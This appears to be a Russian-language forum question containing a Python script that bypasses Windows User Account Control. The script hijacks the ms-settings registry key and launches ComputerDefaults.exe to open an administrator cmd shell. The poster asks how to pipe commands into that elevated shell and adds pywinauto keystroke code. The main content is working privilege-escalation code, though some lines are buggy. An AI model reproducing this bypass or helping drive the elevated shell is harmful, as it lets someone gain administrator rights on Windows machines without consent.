У меня есть сценарий Python, который обходит UAC (Обход контроля учетных записей пользователей) в Windows.
Затем мне нужно как-то связаться с открытым CMD и передать ему команды. Например: эхо-тестирование
Мне удалось найти только код, который открывает новый cmd и связывается с ним. Однако это не помогает, так как мне нужно связаться с новым (текущим), который я создал с помощью обхода UAC.
UACbypass.py
import os
import sys
import ctypes
import winreg
def create_reg_key(key, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-
settings\shell\open\command')
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise
def bypass_uac():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = "C:\windows\System32\cmd.exe"
exec_bypass_uac(cmd)
a=os.system(r'C:\windows\system32\ComputerDefaults.exe')
a.SendKeys("aaa")
return 1
except WindowsError:
sys.exit(1)
if __name__ == '__main__':
if bypass_uac():
print ("Enjoy your Admin Shell :)")
Я очень плохо знаком с кодированием и питоном. Пожалуйста, будьте милы:)
EDIT:
У меня есть этот код ниже. Он отправляет ключи обычному процессу cmd, но не отправляет его cmd с правами администратора.
from pywinauto import Application
app = Application().connect(process = 16364)
dlg = app.top_window_()
dlg.TypeKeys('hello world')